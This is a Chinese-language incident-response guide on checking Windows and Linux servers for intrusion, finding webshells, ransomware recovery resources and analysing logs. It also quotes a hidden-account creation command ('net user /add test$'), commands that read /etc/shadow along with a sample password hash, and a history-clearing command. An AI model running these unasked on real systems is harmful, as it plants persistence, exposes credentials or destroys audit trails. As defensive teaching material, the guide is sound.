Safe: 11-应急响应
- TAGS: Safe
入侵排查
主要内容:
- Windows 入侵排查
- Linux 入侵排查
- 常用的 webshell 查杀工具
- 如何发现隐藏的 webshell 后门
- 勒索病毒自救指南
收到应急响应通知,首先确定是否是安全事件。
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
常见的应急响应事件分类:
Web入侵:网页挂马、主页篡改、Webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS 攻击、DNS 劫持、ARP 欺骗
Web入侵: - 网页挂马: 网页上被挂了一些木马 - 主页篡改:主要用于一些社会层面或者国家层面的攻击。比如重要会议期间攻击一些政府网站,在网站发布反动言论。防护上云监控,通过脚本抓取网站所有链接分析,网站发生异常变化时运维人员就会收到短信通知 - Webshell: 系统入侵: - 病毒木马: - 勒索软件: - 远控后门: 系统入侵主要借助一些自动化的工具分析相关的进程,查找出恶意文件然后进行删除。 网络攻击: - DDOS 攻击: 防御:部署流量清洗设备、CDN做流量分流 - DNS 劫持:攻击者利用攻击手段篡改了某个域名的解析结果,使得指向该域名的ip变成也另一个ip,导致相应网站的访问被劫持到另一个假冒的站点,从而实现非法窃取用户信息、破坏网络服务的目的 - ARP 欺骗:arp是一个地址解析协议,在局域网里主机间通信发送arp应答信息,本地主机收到应答信息后不会验证真实性,会把信息记录在自己的映射表里,这样就会有一个ip和mac对应关系。攻击者利用这种机制发送一些伪造的arp包,篡改了目标主机的arp缓存表,造成主机间无法正常通信。 网络攻击在处理上相对于web入侵和系统入侵来说处理难度较高。因为他们不属于常规的攻击,如果攻击者真的用这种方法来打你,它肯定是一种伤敌1000自损800的做法。
Windows入侵排查
使用环境:Windows Server 2008
针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,常见 Windows 服务器入侵排查的思路如下。
检查系统账号安全
1、查看服务器是否有弱口令,远程管理端口是否对公网开放
检查方法:据实际情况咨询相关服务器管理员。
2、查看服务器是否存在可疑账号、新增账号
检查方法:打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,请立即禁用或删除。
名称后面有$符号是隐藏账号。使用 net user 命令是看不到隐藏账号的。
发现可疑test账号,删除test账号
3、查看服务器是否存在隐藏账号、克隆账号
检查方法:使用D盾_web查杀工具,集成了对隐藏、克隆账号检测的功能
net user /add test$ # 增加隐藏账号命令
4、结合日志,查看管理员登录时间、用户名是否存在异常
检查方法:
a、Win+R 打开运行,输入"eventvwr.msc",回车运行,打开“事件查看器”。
b、导出 Windows 日志 – 安全,利用微软官方工具 Log Parser 进行分析。
工具下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
示例:
LogParser.exe -i:evt "select top 100 * from D:\离线工具\Security.evtx " - o:DATAGRID
LogParser.exe -i:输入文件的格式 SQL语句 -o:输出文件的格式
参数使用
-i:<输入源>
中间部分,sql语句
-o:<输出格式>
检查异常端口、进程
1、检查网络连接情况,是否有远程连接、可疑连接
检查方法:
a、使用 netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED
ESTABLISHED:完成连接并正在进行数据通信的状态。
LISTENING:表示处于侦听状态,就是说该端口是开放的,等待连接,但还没有被连接。
CLOSE_WAIT:对方主动关闭连接或者网络异常导致连接中断。
TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。
b、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位
tasklist | findstr "PID编号" netstat -ano | find "ESTABLISHED" tasklist | findstr "8284"
可以进一步去任务管理器的服务选项中确认(不一定能找到,因为webshell是依赖web服务运行的,能找到web服务,webshell不是一个单独运行的服务)
- 状态栏鼠标右键选择任务管理器
2、进程
检查方法:依据进程名称查看是否有可疑进程,比如6666.exe可能是木马。
tasklist /svc
C:\Users\jasper>tasklist /svc Image Name PID Services ========================= ======== ============================================ System Idle Process 0 N/A System 4 N/A Registry 136 N/A
a、开始 – 运行 – 输入 msinfo32 命令,依次点击 "软件环境 – 正在运行任务" 就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期以及启动时间等。
排查方法:关注版本为不可用的服务
b、打开D盾_web查杀工具,进程查看,关注没有可疑信息的进程
c、通过微软官方提供的 Process Explorer 等工具进行排查
工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
d、查看可疑的进程及其子进程
可以通过观察以下内容
- 没有签名验证信息的进程
- 没有描述信息的进程
- 进程的属主
- 进程的路径是否合法
- CPU或内存资源占用长时间过高的进程(比如挖矿)
常用命令:
1)查看端口对应的 PID:netstat -ano | findstr "port" 2)查看进程对应的 PID:任务管理器 -- 查看 -- 选择列 -- PID 或者 tasklist | findstr "PID" 3)查看进程对应的程序位置: 任务管理器 -- 选择对应进程 -- 右键打开文件位置 运行输入wmic,cmd 界面输入 process 4)tasklist /svc 进程 -- PID -- 服务 5)查看Windows服务所对应的端口: %systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows 路 径)
检查启动项、计划任务、服务
检查服务器是否有异常的启动项
检查方法:
- 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
- 单击开始菜单 >【运行】,输入 msconfig ,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:
检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。
注册表的作用:windows会把它的配置信息存储在注册表的数据库里,注册表就包含了计算机中每个用户的一些配置文件、系统的硬件信息、安装程序以及属性设置等等,windows在操作过程当中会不断的去引用这些信息。所以注册表也是攻击者喜欢攻击的一个目标。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
- 利用安全软件查看启动项、开机时间管理等。
- 组策略,运行 gpedit.msc
- 计算机配置中找到 Windows 设置,在"脚本(启动/关机)"中查看启动配置是否有可疑脚本
组策略的作用:它提供了操作系统、应用程序以及一些活动目录当中用户设置的集中化的管理和配置,可以控制用户账户以及计算机账户的一些工作环境。
- 计算机配置中找到 Windows 设置,在"脚本(启动/关机)"中查看启动配置是否有可疑脚本
Linux入侵排查
使用环境:CentOS
针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,常见 Linux 服务器入侵排查的思路如下。
账号安全
基本使用
1、用户信息文件/etc/passwd root:x:0:0:root:/root:/bin/bash account:password:UID:GID:GECOS:directory:shell 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的shell 注意:无密码只允许本机登陆,远程不允许登陆 2、影子文件 /etc/shadow root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft 7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7::: 用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码 过期后的宽限时间:账号失效时间:保留字段 系统用户是不能登录的,密码字段为星号(*); 两个感叹号(!!)表示这个用户被锁定了,无法登录; 美元符号($)出现在加密格式的密码里,起到分隔作用; 由三部分组成的,以$分隔,即:$id$salt$encrypted $数字$随机数$加密后的密码串;第3个 $ 分隔的才是真正的密码串;id表示加密算法,当id为1时,使用md5加密,以此类推,id为6采用SHA512进行加密。
who 查看当前登录用户(tty 本地登陆 pts 远程登录) w 查看系统信息,想知道某一时刻用户的行为 uptime 查看登陆多久、多少用户,负载状态
入侵排查
1)查询特权用户(uid为0) awk -F: '$3==0{print $1}' /etc/passwd 2)查询可以远程登录的账号信息 awk '/\$1|\$6/{print $1}' /etc/shadow 3)除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除sudo权限 more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" 4)禁用或删除多余及可疑的账号 usermod -L user 禁用账号,账号无法登录,/etc/shadow 第二栏为 ! 开头 userdel user 删除 user 用户 userdel -r user 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除
历史命令
基本使用
通过 .bash_history 文件查看账号执行过的系统命令
1、root用户的历史命令 histroy 2、打开 /home 各账号目录下的 .bash_history,查看普通账号执行的历史命令。 3、历史操作命令的清除:history -c 但此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。
入侵排查
进入用户目录下,导出历史命令 cat .bash_history >> history.txt
检查异常端口
使用 netstat 网络连接命令,分析可疑端口、IP、PID
netstat -antlp 查看 pid 所对应的进程文件路径: 运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)
检查异常进程
使用 ps 命令,分析进程
ps aux | grep pid
检查开机启动项
基本使用
Linux系统有7个系统运行级别(runlevel):
- 运行级别0:系统停机状态,系统默认运行级别不能设为0,否则不能正常启动
- 运行级别1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
- 运行级别2:多用户状态(没有NFS)
- 运行级别3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
- 运行级别4:系统未使用,保留
- 运行级别5:X11控制台,登陆后进入图形GUI模式
- 运行级别6:系统正常关闭并重启,默认运行级别不能设为6,否则不能正常启动
运行级别 含义 0 关机 1 单用户模式,可以想象为windows的安全模式,主要用于系统修复 2 不完全的命令行模式,不含NFS服务 3 完全的命令行模式,就是标准字符界面 4 系统保留 5 图形模式 6 重启动
查看运行级别命令: runlevel
开机启动配置文件: /etc/rc.d/rc.local /etc/rc.d/rc[0~6].d
chkconfig 命令用于检查,设置系统的各种服务
chkconfig --list [name] //服务列表[可根据实际需要,停掉不用服务] chkconfig --add [name] //服务添加[如缺省,则从缺省的init脚本自动建立] chkconfig --del [name] //服务删除[并把相关符号连接从/etc/rc[0-6].d删除]
当我们需要设置开机启动的脚本时,只需要将可执行脚本放在 /etc/init.d 目录下,然后在/etc/rc.d/rc*.d 目录下建立软链接即可。
注:此中的 * 代表 0,1,2,3,4,5,6 这七个等级
入侵排查
启动项文件:
/etc/rc.d/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
检查定时任务
基本使用
1、利用 crontab 创建计划任务
基本命令
crontab -l 列出某个用户cron服务的详细内容 Tips:默认编写的crontab文件会保存在 /var/spool/cron/用户名 例如: /var/spool/cron/root crontab -r 删除每个用户cron任务(谨慎:删除所有的计划任务) crontab -e 使用编辑器编辑当前的crontab文件 如: */1 * * * * echo "hello world" >> /tmp/test.txt #每分钟写入文件 #星号代表分时日月周
2、利用 anacron 命令实现异步定时任务调度
入侵排查
重点关注以下目录中是否存在恶意脚本
/var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*
检查服务
服务自启动
第一种修改方法:
chkconfig [--level 运行级别] [独立服务名] [on|off] chkconfig –-level 2345 httpd on 开启自启动 chkconfig httpd on (默认level是2345)
第二种修改方法:
修改 /etc/rc.d/rc.local 文件,加入 /etc/init.d/httpd start
入侵排查
查询已安装的服务:
RPM包安装的服务
chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务 ps aux | grep crond 查看当前服务 查看系统在3与5级别下的启动项 中文环境 chkconfig --list | grep "3:启用\|5:启用" 英文环境 chkconfig --list | grep "3:on\|5:on"
源码包安装的服务
源码包服务的启动管理:/usr/local/ 源码包服务的自启动管理:/etc/rc.d/init.d/
检查异常文件
1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性。
2、针对可疑文件可以使用 stat 查看创建修改时间。
检查系统日志
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志文件 说明 /var/log/cron 记录了系统定时任务相关的日志 /var/log/cups 记录打印信息的日志 /var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 /var/log/mailog 记录邮件信息 /var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 /var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 /var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 /var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 /var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
安全人员比较关注的文件: /var/log/lastlog, /var/log/secure
日志分析技巧:
1、定位有多少IP在爆破主机的root账号: grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more 2、定位有哪些IP在爆破: grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]? [0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]? [0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c 3、爆破用户名字典是什么? grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' | uniq -c | sort -nr 4、登录成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more 5、登录成功的日期、用户名、IP: grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
手工排查:
- 检查程序的签名、描述信息
- 查看程序的引用文件或者 DLL
- 网络连接
- 逆向分析
工具查杀
Rootkit查杀
rootkit是特殊的恶意软件,它的功能是在目标机器上安装隐藏自身以及指定的文件、进程和网络连接等信息,来帮助攻击者做一些隐藏。比较常见的场景是木马后门等其它的恶意程序放在一起使用。在实际工作中比较难遇到,它是一种隐藏恶意程序、隐藏进程、隐藏网络的攻击方式。
- chkrootkit
使用方法: wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense #编译完成没有报错的话执行检查 ./chkrootkit
- rkhunter
网址:http://rkhunter.sourceforge.net
使用方法:
wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter- 1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c
病毒查杀
- Clamav
网址:http://www.clamav.net/download.html
安装方式:
#安装 yum install -y epel-release #使用阿里云epel源 wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum clean all yum makecache yum install -y clamav #更新病毒库 freshclam #扫描方法 clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log #扫描并杀毒 clamscan -r --remove /usr/bin/bsd-port clamscan -r --remove /usr/bin/ clamscan -r --remove /usr/local/zabbix/sbin #查看日志发现 cat /root/etcclamav.log | grep FOUND
Webshell查杀
河马 WebShell 查杀:http://www.shellpub.com
官方文档详细
常见的WebShell查杀工具
当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现Webshell,进一步排查系统可能存在的安全漏洞。
网站中正常的系统命令一般写在代码中,不会在流量中体现,由此来发现不安全操作。
D盾_Web查杀
阿D出品,使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的 WebShell 后门行为。
兼容性:只提供 Windows 版本。
工具下载地址:http://www.d99net.net
百度 WEBDIR+
下一代 WebShell 检测引擎,采用先进的动态监测技术,结合多种引擎零规则查杀。
兼容性:提供在线查杀木马,免费开放 API 支持批量检测。
在线查杀地址:https://scanner.baidu.com/#/pages/intro
河马
专注 WebShell 查杀研究,拥有海量 WebShell 样本和自主查杀技术,采用传统特征+云端大数据双引擎
的查杀技术。查杀速度快、精度高、误报低。
兼容性:支持 Windows、Linux,支持在线查杀。
官方网站:https://www.shellpub.com
Web Shell Detector
Web Shell Detector 具有 WebShell 签名数据库,可帮助识别高达 99% 的 WebShell。
兼容性:提供 PHP、Python 脚本,可跨平台,在线检测。
官方网站:http://www.shelldetector.com
CloudWalker(牧云)
一个可执行命令行版本的 Webshell 检测工具。
兼容性:暂时只支持 PHP Webshell 的检测。
在线查杀 demo:https://webshellchop.chaitin.cn/demo/
GitHub 项目地址:https://github.com/chaitin/cloudwalker
如何发现隐藏的WebShell后门
如何在百万行代码里发现隐藏的后门?
试想一下,如果你的网站被入侵,攻击者留下隐藏的后门,你真的都可以找出来吗?面对一个大中型的应用系统,数以百万级的代码行,是不可能做到每个文件每段代码进行手工检查的。即使是一款拥有99.9% 的 Webshell 检出率的检测引擎,依然可能存在 Webshell 绕过的情况。另外,像暗链、网页劫持、页面跳转等常见的黑帽 SEO 手法,也很难通过手动检测或工具检测全部识别出来。
最好的方式就是做文件完整性验证。通过与原始代码对比,可以快速发现文件是否被篡改以及被篡改的位置。当然,前提是要具备代码版本管理的能力。
下列几种文件完整性验证方式,可以找出代码中所有隐藏的后门。
MD5校验
下载D盾_Web查杀工具的时候,我们可以留意到下载的压缩包里有一个 exe 可执行文件,拥有自身的md5 值。这个是软件作者在发布软件时,通过 md5 算法计算出该 exe 文件的"特征值"。
下载地址:https://www.d99net.net/down/d_safe_2.1.7.2.zip
文件 MD5:e2ec949fd70c4c921ee38979dda39d11 D_Safe_Manage.exe
C:\Users\jasper\d_safe_2.1.7.2>certutil -hashfile D_Safe_Manage.exe MD5 MD5 hash of D_Safe_Manage.exe: e2ec949fd70c4c921ee38979dda39d11 CertUtil: -hashfile command completed successfully.
当用户下载软件时,可以使用相同的校验算法计算下载到 exe 文件的特征值,并与软件开发者发布的特征值比较。如果两个特征值相同,则认为下载到的 exe 文件是正确的。如果两个特征值不同,则认为下载到 exe 文件是被篡改过的。
那同理可得,我们可以将所有网站文件计算一次 hash 值保存,当出现应急情况时,重新计算一次 hash值,并与上次保存的 hash 值进行对比,从而输出新创建的、修改过及删除的文件列表。
文件 hash 值计算:
def md5sum(file): m=hashlib.md5() if os.path.isfile(file): f=open(file,'rb') for line in f: m.update(line) f.close else: m.update(file) return (m.hexdigest())
对文件进行哈希值重新计算,进行校验对比。
diff 命令
在 Linux 中,可以使用 diff 命令来比较两个文本文件的差异。同样,我们可以通过一行命令快速找出两个项目文件的差异。
-a diff预设只会逐行比较文本文件
-c 上下文格式(context diff)
-r 比较子目录中的文件
diff -c -a -r 2.php 3.php
如果只是想查看两个文件是否不同又不想显示差异之处的话,可以加上 -q 选项。
文件对比工具
关键词:代码对比工具,你会找到很多好用的工具,这里我们推荐两款效果还不错的工具,Beyond Compare 和 WinMerge。
Beyond Compare
Beyond Compare 是一套由 Scooter Software 推出的文件比较工具。主要用途是对比两个文件夹或者文件,并将差异以颜色标示,比较范围包括目录,文档内容等。
下载地址:http://www.scootersoftware.com/download.php
软件使用示例,通过文件夹比较,找出文件夹中的差异内容:双击 Beyond Compare ,打开软件主页,选择文件夹比较,分别加载两个文件夹,直接比较即可。
WinMerge
WinMerge 是一款运行于 Windows 系统下的文件比较和合并工具,使用它可以非常方便地比较文件夹和文件,以易于理解的可视文本格式显示差异。
下载地址:https://winmerge.org/downloads/
1、文件 – 打开,选择文件或文件夹,然后点击进行比较。
2、在同一个界面里,通过颜色和文本提示,显示文件夹内容差异。
勒索病毒自救指南
勒索病毒加密原理
原理
公开密钥密码体系要求密钥成对出现,一个用于加密,另一个用于解密,并且不可能从其中一个推导出另一个。
加密过程
1、病毒作者首先在自己电脑上生成的 私钥Q 和 公钥Q
2、病毒在目标电脑上随机生成 私钥Z 和 公钥Z
3、将用户电脑上的文件通过 公钥Z 加密
4、将用户电脑上的 私钥Z 通过 公钥Q 加密
5、删除用户电脑上的 私钥Z 、公钥Q、数据
解密过程
支付完赎金之后获得 私钥Q ,通过用户的 加密私钥 解出 私钥Z,通过 私钥Z 解密 用户数据。
勒索病毒搜索引擎
在勒索病毒搜索引擎输入病毒名、勒索邮箱、被加密后文件的后缀名,或直接上传被加密文件、勒索提示信息,即可快速查找到病毒详情和解密工具。
【360】 勒索病毒搜索引擎,支持检索超过800种常见勒索病毒
官网:http://lesuobingdu.360.cn
【腾讯】 勒索病毒搜索引擎,支持检索超过 1000+ 种常见勒索病毒
官网:https://guanjia.qq.com/pr/ls
【启明】VenusEye勒索病毒搜索引擎,超300种勒索病毒家族
官网:https://lesuo.venuseye.com.cn
【奇安信】勒索病毒搜索引擎
官网:https://lesuobingdu.qianxin.com
【深信服】勒索病毒搜索引擎
官网:https://edr.sangfor.com.cn/#/information/ransom_search
勒索软件解密工具集
很多安全公司都提供了免费的勒索病毒解密工具下载,收集和整理相关下载地址,可以帮助我们了解和获取最新的勒索病毒解密工具。
【腾讯哈勃】勒索软件专杀工具
官网:https://habo.qq.com/tool
【金山毒霸】勒索病毒免疫工具
官网:http://www.duba.net/dbt/wannacry.html
【火绒】安全工具下载
官网:http://bbs.huorong.cn/forum-55-1.html
【瑞星】解密工具下载
官网:http://it.rising.com.cn/fanglesuo/index.html
【nomoreransom】勒索软件解密工具集
官网:https://www.nomoreransom.org/zh/index.html
【MalwareHunterTeam】勒索软件解密工具集
官网:https://id-ransomware.malwarehunterteam.com
【卡巴斯基】免费勒索解密器
官网:https://noransom.kaspersky.com
【Avast】免费勒索软件解密工具
官网:https://www.avast.com/zh-cn/ransomware-decryption-tools
【Emsisoft】免费勒索软件解密工具
官网:https://www.emsisoft.com/ransomware-decryption-tools/free-download
【GitHub 项目】勒索病毒解密工具收集汇总
官网:https://github.com/jiansiting/Decryption-Tools
针对勒索病毒最好的防御方法就是备份。
日志分析
主要内容:
- Windows 日志分析
- Linux 日志分析
- web 日志分析
- MySQL 日志分析
Windows日志分析
使用环境:Windows Server 2008 R2
Windows事件日志简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
开始菜单–>管理工具–>事件查看器
系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日 志中记录的时间类型由Windows操作系统预先定义。 默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志 中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以 从程序事件日志中找到相应的记录。 默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、账号管理、 策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全日志是关闭的,可以使用 组策略来启动安全日志,或者在注册表中设置审核策略,以便当安全日志满后使系统停止响应。 默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
系统日志和应用程序日志存储着故障排除信息,对于系统管理员更为有用。安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于应急人员而言,更有帮助。
审核策略与事件查看器
Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
PS:默认状态下,也会记录一些简单的日志,日志默认大小20M
设置:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,本地安全设置。
默认都未审核,双击可以针对不同事件做成功和失败审核。
查看系统日志方法:
1、在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”
2、按 "Window+R",输入 ”eventvwr.msc“ 也可以直接进入“事件查看器”
事件日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:
事件ID 说明 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动的注销 4672 使用超级用户(如管理员)进行登录 4720 创建用户
案例:暴力破解排查
windows 2008 开始菜单–>计算机右键属性–>远程设置–>选择"允许运行任意版本远程桌面的计算机连接",然后使用爆破工具爆破,如超级弱口令工具。
- 在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”;
- 在事件查看器中,单击“安全”,查看安全日志;
- 在安全日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选。
4624 – 登录成功
4625 – 登录失败
4634 – 注销成功
4647 – 用户启动的注销
4672 – 使用超级用户(如管理员)进行登录
输入事件ID:4625进行日志筛选,发现事件ID:4625,假如事件数是175904,即代表用户登录失败了175904次,那么这台服务器管理员账号可能遭遇了暴力破解。
日志分析工具
Log Parser
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
Log Parser 2.2下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
Log Parser 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/
基本查询结构
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"
使用Log Parser分析日志
1、查询登录成功的事件
登录成功的所有事件 LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\security.evtx where EventID=4624" 指定登录时间范围的事件: LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2022-11-05 00:00:00' and TimeGenerated<'2022-11-06 00:00:00' and EventID=4624" 提取登录成功的用户名和IP: LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\security.evtx where EventID=4624"
2、查询登录失败的事件
登录失败的所有事件: LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\security.evtx where EventID=4625" 提取登录失败用户名进行聚合统计: LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\security.evtx where EventID=4625 GROUP BY Message"
3、系统历史开关机记录
LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"
LogParser Lizard
对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx
依赖包:Microsoft .NET Framework 4.5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642
充内容
Windows日志分析参考:https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ
Linux日志分析
使用环境:CentOS
日志简介
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志文件 说明 /var/log/cron 记录了系统定时任务相关的日志 /var/log/cups 记录打印信息的日志 /var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 /var/log/mailog 记录邮件信息 /var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 /var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 /var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 /var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 /var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
比较重要的几个日志:
登录失败记录:/var/log/btmp 最后一次登录:/var/log/lastlog 登录成功记录: /var/log/wtmp 登录日志记录:/var/log/secure 目前登录用户信息:/var/run/utmp 历史命令记录:history 仅清理当前用户的历史命令: history -c
日志分析技巧
常用的shell命令
Linux下常用的shell命令如:find、grep 、egrep、awk、sed
1、grep显示前后几行信息
标准unix/linux下的grep通过下面参数控制上下文: grep -C 5 foo file 显示file文件里匹配foo字串那行以及上下5行 grep -B 5 foo file 显示foo及前5行 grep -A 5 foo file 显示foo及后5行 查看grep版本号的方法是:grep -V
2、grep 查找含有某字符串的所有文件
grep -rn "hello,world!" *
* 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
-n 是显示行号
-R 查找所有文件包含子目录
-i 忽略大小写
3、显示一个文件的某几行
